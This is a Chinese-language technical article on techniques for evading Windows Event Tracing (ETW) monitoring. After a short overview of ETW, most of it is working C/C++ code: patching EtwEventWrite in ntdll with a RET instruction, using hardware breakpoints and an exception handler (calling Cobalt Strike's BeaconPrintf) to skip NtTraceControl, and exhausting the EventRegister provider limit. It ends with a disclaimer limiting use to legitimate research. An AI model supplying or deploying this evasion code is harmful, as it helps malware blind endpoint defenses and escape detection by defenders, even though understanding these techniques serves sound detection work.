有关ETW的对抗技术
字数 1102 2025-08-22 22:47:30
Windows ETW 对抗技术详解
1. ETW 基础概念
ETW (Event Tracing for Windows) 是 Windows 提供的事件跟踪系统,具有以下特点:
- 最初在 Windows 2000 引入
- 提供详细的用户和内核日志记录
- 支持动态启用/禁用日志记录,无需重启目标进程
- 采用内核层面的缓冲和日志记录机制,效率极高
ETW 内部结构
ETW 主要由两个组件构成:
- ETW Provider:事件提供者,将事件发送到 ETW
- ETW Consumer:事件消费者,接收和处理事件
每个 ETW 提供程序都有一个唯一标识符,位于注册表:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Publishers\<PROVIDER_GUID>
可以使用命令查看已注册的提供程序:
logman query providers
2. ETW 的安全监控能力
ETW 几乎可以监控进程的所有行为:
- API 调用链
- .NET 加载
- 网络通信等
基于 ETW 实现的工具包括:
- Procmon
- Process Hacker
3. ETW 对抗技术
3.1 用户层 ETW API 补丁
ETW 在用户层提供了一些 API 供开发者使用,常见的包括:
EtwEventWrite和EtwEventWriteExStartTraceA和StopTraceAQueryAllTraces
可以通过内存补丁来修补这些 API 实现 bypass ETW:
void patchETW() {
void* etwAddr = GetProcAddress(GetModuleHandle(L"ntdll.dll"), "EtwEventWrite");
char etwPatch[] = { 0xC3 }; // RET 指令
DWORD lpflOldProtect = 0;
unsigned __int64 memPage = 0x1000;
void* etwAddr_bk = etwAddr;
NtProtectVirtualMemory(hProc, (PVOID*)&etwAddr_bk, (PSIZE_T)&memPage, 0x04, &lpflOldProtect);
NtWriteVirtualMemory(hProc, (LPVOID)etwAddr, (PVOID)etwPatch, sizeof(etwPatch), (SIZE_T*)nullptr);
NtProtectVirtualMemory(hProc, (PVOID*)&etwAddr_bk, (PSIZE_T)&memPage, lpflOldProtect, &lpflOldProtect);
std::cout << "[+] Patched etw!\n";
}
3.2 硬件断点绕过 ETW
硬件断点是 CPU 提供的调试功能,通过设置调试寄存器实现线程断点调试。
X86/X64 CPU 有 4 个调试寄存器 (Dr0-Dr3) 可用于设置硬件断点。
void set_hardware_breakpoint() {
CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
HANDLE thd;
if (tid == GetCurrentThreadId()) {
thd = GetCurrentThread();
} else {
thd = OpenThread(THREAD_ALL_ACCESS, FALSE, tid);
}
GetThreadContext(thd, &context);
if (init) {
(&context.Dr0)[pos] = address;
context.Dr7 &= ~(3ull << (16 + 4 * pos));
context.Dr7 &= ~(3ull << (18 + 4 * pos));
context.Dr7 |= 1ull << (2 * pos);
} else {
if ((&context.Dr0)[pos] == address) {
context.Dr7 &= ~(1ull << (2 * pos));
(&context.Dr0)[pos] = 0ull;
}
}
SetThreadContext(thd, &context);
if (thd != INVALID_HANDLE_VALUE) CloseHandle(thd);
}
异常处理函数示例:
LONG WINAPI exception_handler(PEXCEPTION_POINTERS ExceptionInfo) {
if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) {
if (ExceptionInfo->ContextRecord->Rip == (uintptr_t)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTraceControl")) {
BeaconPrintf(CALLBACK_OUTPUT, "[+] In exception handler of NtTraceControl.\n");
ExceptionInfo->ContextRecord->Rip = find_gadget(ExceptionInfo->ContextRecord->Rip, "\xc3", 1, 500);
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // Set Resume Flag
return EXCEPTION_CONTINUE_EXECUTION;
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
3.3 新方法:EventRegister 耗尽
这种方法不需要任何补丁或断点:
EventRegister用于创建 ETW 提供程序- 一个进程最多只能拥有 2048 个 ETW 提供程序
- 如果恶意软件调用
EventRegister2048 次以上,在加载 CLR 之前发生错误,就能规避 ETW
实现代码:
void Gluttony() {
DWORD status = ERROR_SUCCESS;
REGHANDLE RegistrationHandle = NULL;
const GUID ProviderGuid = { 0x230d3ce1, 0xbccc, 0x124e, { 0x93, 0x1b, 0xd9, 0xcc, 0x2e, 0xee, 0x27, 0xe4 } };
int count = 0;
while (status = EventRegister(&ProviderGuid, NULL, NULL, &RegistrationHandle) == ERROR_SUCCESS) {
count++;
}
printf("%d\n", count);
}
4. 工具推荐
对于可视化分析 ETW,推荐使用:
5. 总结
ETW 对抗技术主要包括:
- 直接修补 ETW 相关 API
- 使用硬件断点拦截 ETW 函数调用
- 耗尽 ETW 提供程序注册限额
这些技术可以帮助安全研究人员理解 ETW 监控机制,并在必要时规避监控。需要注意的是,这些技术仅应用于合法的安全研究和防御目的。